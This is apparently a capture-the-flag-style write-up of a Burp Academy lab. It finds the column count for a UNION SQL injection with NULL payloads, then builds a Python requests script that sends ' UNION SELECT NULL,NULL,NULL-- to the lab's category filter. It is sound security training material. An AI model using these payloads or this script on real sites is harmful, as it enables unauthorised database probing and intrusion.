SQL injection UNION attack, determining the number of columns returned by the query
Walkthrough of UNION-based SQL injection in Burp Academy lab, then automating the exploit with a Python script using requests.Session(), assertions for sanity checks, and logging for debugging.
Solution
The lab description mentioned that the lab contains a SQL injection vulnerability in the product category filter so I’ll test the payload there.
Using ' UNION SELECT NULL-- and ' UNION SELECT NULL,NULL-- resulted in error. Meaning it is not the correct column
Using ' UNION SELECT NULL,NULL,NULL-- in the category parameter and got a hit that means we have the right column count and it solved the lab.
Lets move on to the fun part which is the scripting.
Script
The script itself is also pretty straight forward. In this iteration I am gonna add some more print statement so I know what the script is doing mid-execution. Lets break down the stuff that the script need:
- Import
requestlibrary - Doing some sort of sanity check like using
assertto check if we have the status code 200 after sending the GET request - Construct the payload and send via
session.get - Check for certain word in the response body after the payload is sent to determine if the exploit is successful
I’ll start by importing requests library and populating the url variable with the lab link. I also included the vulnerable path in the url as well.
1
2
3
import requests
url = "https://0a91006204f030f080ce765a00560037.web-security-academy.net/filter?category=Gifts"
Next up I am using requests.Session() to a session. You can use requests.get and in this case it is better as well because we don’t interact with logins etc. I just wanted to get familiar with Session so might as well use it.
1
2
3
4
print("[=] Sending GET request to target")
session = requests.Session()
response = session.get(url)
I have added the print statement to be abit more verbose so when the script is executing I’ll know what to expect. It is also pretty useful for debugging as well so you know which part the script is stuck at so you can fix it.
I am saving the GET request to response variable to use it later to inject the payload.
I will be also using assert to perform some sort of sanity check whether if we have the alive session before injecting the payload.
1
2
3
4
assert response.status_code == 200, f"Invalid response, got {response.status_code}..."
# Inform user that it is valid
print(f"[+] Got response {response.status_code}")
The code above is to check if the status code is 200 which is OK. Refer to this link to know more about http 200. IF it does not have 200 status code, it will crash with the fstring.
Next is to write the paylaod. The structure is pretty much similar to what I wrote in previous lab.
1
2
3
4
5
payload = {
"category" : "Gifts' UNION SELECT NULL,NULL,NULL--"
}
print(f"[*] Sending paylaod {payload} to {url}")
In this iteration I added a print statement as well to output the payload during script execution so I know what is being sent. With this, I can also catch any malform payload easily.
The last problem to solve is to send the actual payload through URL parameter and check for successful exploitation. I have also added if else statement to check if the exploit is successful.
1
2
3
4
5
6
7
8
9
response = session.get(url, params=payload)
print("[+] Exploiting the target...")
# Check for the word "Gifts" is in the response text to verify
if "Gifts" in response.text:
print("[+] Exploit successful")
else:
print("[-] Exploit failed")
Expanding on the if else statement I chose the word “Gifts” because when the payload is sent and the response body will contain the word “Gifts” so thats when I know the payload is being sent. You can choose any word you want.
The final script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
url = "https://0a91006204f030f080ce765a00560037.web-security-academy.net/filter?category=Gifts"
print("[=] Sending GET request to target")
session = requests.Session()
response = session.get(url)
# assert is to check if the preconditions are met
# If FALSE, crash with the fstring
assert response.status_code == 200, f"Invalid response, got {response.status_code}..."
# Inform user that it is valid
print(f"[+] Got response {response.status_code}")
payload = {
"category" : "Gifts' UNION SELECT NULL,NULL,NULL--"
}
print(f"[*] Sending paylaod {payload} to {url}")
response = session.get(url, params=payload)
print("[+] Exploiting the target...")
# Check for the word "Gifts" is in the response text to verify
if "Gifts" in response.text:
print("[+] Exploit successful")
else:
print("[-] Exploit failed")
In summary the script is pretty similar to previous lab, the only enhancement I made is just being more verbose in my script by adding more print statement and a logic to check if the script execute successfully.


